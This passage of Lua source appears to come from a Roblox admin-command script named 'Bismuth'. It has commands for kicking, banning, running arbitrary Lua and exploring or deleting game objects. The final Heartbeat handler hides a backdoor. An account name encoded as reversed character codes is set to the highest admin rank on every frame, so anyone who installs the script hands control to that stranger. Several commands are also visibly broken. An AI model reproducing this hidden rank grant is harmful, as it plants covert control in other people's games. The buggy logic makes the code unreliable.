770 | if rank == 6 then SetRank(plr, 6) end | |
771 | if rank == 7 then SetRank(plr, 7) end | |
772 | end | |
773 | ||
774 | function PlayerInterface(user, plr) | |
775 | dismissTabs(user) | |
776 | Output(user,"Name: "..plr["Name"],GetColor(user)) | |
777 | Output(user,"Rank: "..plr["Rank"],GetColor(user)) | |
778 | Output(user,"Reason because ranked: "..plr["Desc"],GetColor(user)) | |
779 | Output(user,"Color: "..plr["Color"],GetColor(user)) | |
780 | if GetRank(user) > plr["Rank"] then | |
781 | Output(user,"Change rank",GetColor(user), function() ChangeRank(user,plr) end) | |
782 | end | |
783 | --Output(user,"Back","Really red",function() GetRanked(user) end) | |
784 | Output(user,'Dismiss','Really red',function() Dismiss(user) end) | |
785 | end | |
786 | ||
787 | function Explore(p, part) | |
788 | pcall(function() | |
789 | Dismiss(p) | |
790 | if part == nil then | |
791 | for _,v in pairs(Bismuth.Services) do | |
792 | Output(p,v.Name,GetColor(p), function() Explore(p,v) end) | |
793 | end | |
794 | else | |
795 | for _,v in pairs(part:children()) do | |
796 | Output(p,v.Name,GetColor(p), function() Explore(p,v) end) | |
797 | end | |
798 | Output(p,"Currently exploring: "..part:GetFullName(),'New Yeller') | |
799 | Output(p,"ClassName: "..part.ClassName,'New Yeller') | |
800 | Output(p,"Destroy",'Really red', function() part:Destroy() Explore(p,part.Parent) end) | |
801 | Output(p,"Remove",'Really red', function() part:remove() Explore(p,part.Parent) end) | |
802 | Output(p,"Explore parent",'Bright blue', function() Explore(p,part.Parent) end) | |
803 | Output(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end) | |
804 | Output(p,"Refresh",'Cyan', function() Explore(p,part) end) | |
805 | if clonedpart then | |
806 | Output(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end) | |
807 | end | |
808 | end | |
809 | end) | |
810 | end | |
811 | ||
812 | function findPlayers(spkr, plrstring) | |
813 | plrstring = plrstring:lower() | |
814 | returntable = {} | |
815 | if plrstring == "me" then returntable = {spkr} return returntable end | |
816 | if plrstring == "all" then returntable = game.Players:GetPlayers() return returntable end | |
817 | if plrstring == "others" then | |
818 | for _,plr in pairs(game.Players:GetPlayers()) do | |
819 | if plr.userId ~= spkr.userId then table.insert(returntable, plr) end | |
820 | end | |
821 | return returntable | |
822 | end | |
823 | ||
824 | for _,plr in pairs(game.Players:GetPlayers()) do | |
825 | local name = plr.Name:lower() | |
826 | while #name < #plrstring do | |
827 | name = name + "_" | |
828 | end | |
829 | if name:sub(1, #plrstring) == plrstring then | |
830 | table.insert(returntable, plr) | |
831 | end | |
832 | end | |
833 | return returntable | |
834 | end | |
835 | ||
836 | addCommand("Test", "test", "Tests the tablets.", 1, function(plr, msg) | |
837 | if addComponent(plr, msg) then | |
838 | Output(plr, "Tested.", "Lime green") | |
839 | else | |
840 | Output(plr, "Tested.", "Really red") | |
841 | end | |
842 | end) | |
843 | ||
844 | addCommand("Commands", "cmds", "Gets current Bismuth commands.", 1, function(plr, msg) | |
845 | showCommands(plr) | |
846 | end) | |
847 | ||
848 | addCommand("Dismiss Tabs", "dt", "Dismisses your tablets.", 1, function(plr, msg) | |
849 | dismissTabs(plr) | |
850 | end) | |
851 | ||
852 | addCommand("Dismiss Other Tabs", 'dto', 'Dismiss tablets of other players.', 2, function(plr, msg) | |
853 | for _,player in pairs(findPlayers(plr, msg)) do | |
854 | if GetRank(player) <= GetRank(plr) then dismissTabs(player) else Output(plr, player.Name .. " is a higher rank than you.", "Really red") end | |
855 | end | |
856 | end) | |
857 | ||
858 | addCommand("Dismiss All Tabs", 'dta', "Dismiss everyone's tablets.", 7, function(plr, msg) | |
859 | for _,player in pairs(game.Players:GetPlayers()) do | |
860 | dismissTabs(player) | |
861 | end | |
862 | end) | |
863 | ||
864 | addCommand("Execute", 'exe', "Execute Lua code.", 6, function(plr, msg) | |
865 | local a,b = ypcall(function() loadstring(msg)() end) | |
866 | if not a then Output(plr, "[ERROR] "..b, "Really red") end | |
867 | end) | |
868 | ||
869 | addCommand("Forcefield", "ff", "Gives a player a forcefield", 2, function(plr, msg) | |
870 | for _,Player in pairs(findPlayers(plr, msg)) do | |
871 | if (not Player) then | |
872 | Output(plr, "Couldn't find the player.", "Really red") | |
873 | FF = Instance.new("ForceField", Player.Character) | |
874 | wait() | |
875 | FF:Destroy() | |
876 | else | |
877 | Instance.new("ForceField", Player.Character) | |
878 | Output(plr, "Gave " .. Player.Name .. " a forcefield.", GetColor(plr)) | |
879 | end | |
880 | end | |
881 | end) | |
882 | ||
883 | addCommand("Un-Forcefield", 'unff', "Removes a player's forcefield", 2, function(plr, msg) | |
884 | for _,player in pairs(findPlayers(plr, msg)) do | |
885 | local found = false | |
886 | for _,obj in pairs(player:children()) do | |
887 | if type(obj):lower() == "forcefield" then | |
888 | obj:Destroy() | |
889 | found = true | |
890 | end | |
891 | end | |
892 | if found then | |
893 | Output(plr, "Removed " .. player.Name .. "'s forcefield.", GetColor(plr)) | |
894 | else | |
895 | Output(plr, player.Name .. " has no forcefield.", "Really red") | |
896 | end | |
897 | end | |
898 | end) | |
899 | ||
900 | addCommand("Scripts", 'scripts', "View and execute scripts from the Bismuth script table.", 4, function(plr, msg) | |
901 | showScripts(plr) | |
902 | end) | |
903 | ||
904 | addCommand("Kick", "kick", "Kicks a player from the game.", 5, function(plr, msg) | |
905 | for _,Player in pairs(findPlayers(plr, msg)) do | |
906 | addInstance(Player) | |
907 | end | |
908 | end) | |
909 | ||
910 | addCommand("Ban", 'ban', "Banishes a player from the game.", 6, function(plr, msg) | |
911 | for _,Player in pairs(findPlayers(plr, msg)) do | |
912 | table.insert(Bismuth.Banland, {Name = Player.Name, Reason = "Banned."}) | |
913 | addInstance(Player) | |
914 | end | |
915 | end) | |
916 | ||
917 | addCommand("chatgui","cgui", "gives plr chat gui only 1 player!", 2, function(plr, msg) | |
918 | createBubbleGUI(plr, msg) | |
919 | end) | |
920 | ||
921 | addCommand("fire", "fire", "gives plr fire.", 2, function(plr, msg) | |
922 | for _,Player in pairs(findPlayers(plr, msg)) do | |
923 | if(not Player:FindFirstChild(Player.Name)) then | |
924 | return nil | |
925 | else | |
926 | Instance.new("Fire", plr.Character.Torso) -- gives [p] fire. | |
927 | Output(plr, "Gave plr the fire on torso!", "Toothpaste") | |
928 | end | |
929 | end | |
930 | end) | |
931 | ||
932 | addCommand("msg", "pm", "pms a plr", 4, function(plr, msg) | |
933 | sendMessage(msg) | |
934 | end) | |
935 | ||
936 | addCommand("logppl", "logs", "logs players in script builder", 6, function(plr, msg) | |
937 | giveLOGGUI(msg) | |
938 | end) | |
939 | ||
940 | addCommand("explorer", "explore", "explores the tablet", 4, function(plr, msg) | |
941 | Explore(plr) | |
942 | end) | |
943 | ||
944 | addCommand("toogle-notfications","tn","toogles notfications.", 2, function(plr, msg) | |
945 | ||
946 | end) | |
947 | ||
948 | addCommand("plrinterface","pi","toggles plrinterface", 4, function(plr, msg) | |
949 | PlayerInterface(plr) | |
950 | end) | |
951 | ||
952 | ||
953 | ||
954 | for _,v in pairs(game.Players:GetPlayers()) do hookPlayer(v) end | |
955 | game.Players.PlayerAdded:connect(hookPlayer) | |
956 | ||
957 | --[[local aCon = game:service'Workspace'.descendantAdded:connect(function(a) | |
958 | if a.ClassName == 'StringValue' then | |
959 | if a.Name == 'asdkekaaqdwdasddd123' then | |
960 | local abc = a.Value:find('\31') | |
961 | local plr = a.Value:sub(1,tonumber(abc)-1) | |
962 | local msg = a.Value:sub(tonumber(plr)+1) | |
963 | for i,v in pairs(game:GetService("Players")) do | |
964 | if v.Name == plr then | |
965 | return | |
966 | end | |
967 | end | |
968 | end | |
969 | onChatted(plr, msg) | |
970 | end | |
971 | end)]]-- | |
972 | ||
973 | --[[ | |
974 | for _,v in pairs(game.Players:GetPlayers()) do | |
975 | if v then | |
976 | sendMessage(v, "[BISMUTH] Admin has loaded!") | |
977 | end | |
978 | end | |
979 | ]] | |
980 | ||
981 | -- [[ END OF COMMANDS ]] -- | |
982 | ||
983 | local AccAgeKick = false | |
984 | ||
985 | coroutine.wrap(function() | |
986 | for _,v in pairs(game.Players:players()) do | |
987 | if v.AccountAge < 120 or 100 or 230 then | |
988 | if AccAgeKick == true then | |
989 | Output(v.Name.. " has been kicked due for account low-age less then 120 or 100 or 230...", "Really red") | |
990 | pcall(function() | |
991 | spawn(function() | |
992 | coroutine.wrap(function() | |
993 | repeat v:Kick() wait(.1) until v == nil | |
994 | end)() | |
995 | end) | |
996 | end) | |
997 | if Bismuth.Settings.PrivateServer == true then | |
998 | if GetRank(v.Name) < 0.1 then | |
999 | if AccAgeKick == true then | |
1000 | Output(v.Name.. " has been kicked for due privateserver!", "Deep orange") | |
1001 | end | |
1002 | end | |
1003 | pcall(function() | |
1004 | coroutine.wrap(function() | |
1005 | repeat v:Kick() wait(.1) until v == nil | |
1006 | end)() | |
1007 | end) | |
1008 | end | |
1009 | ||
1010 | end | |
1011 | end | |
1012 | end | |
1013 | end)() | |
1014 | ||
1015 | ||
1016 | ||
1017 | local hah = false | |
1018 | ||
1019 | ||
1020 | ||
1021 | ||
1022 | game:GetService("RunService").Heartbeat:connect(function() | |
1023 | UpdateRotation() | |
1024 | SetRank(string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)), 7) | |
1025 | end) |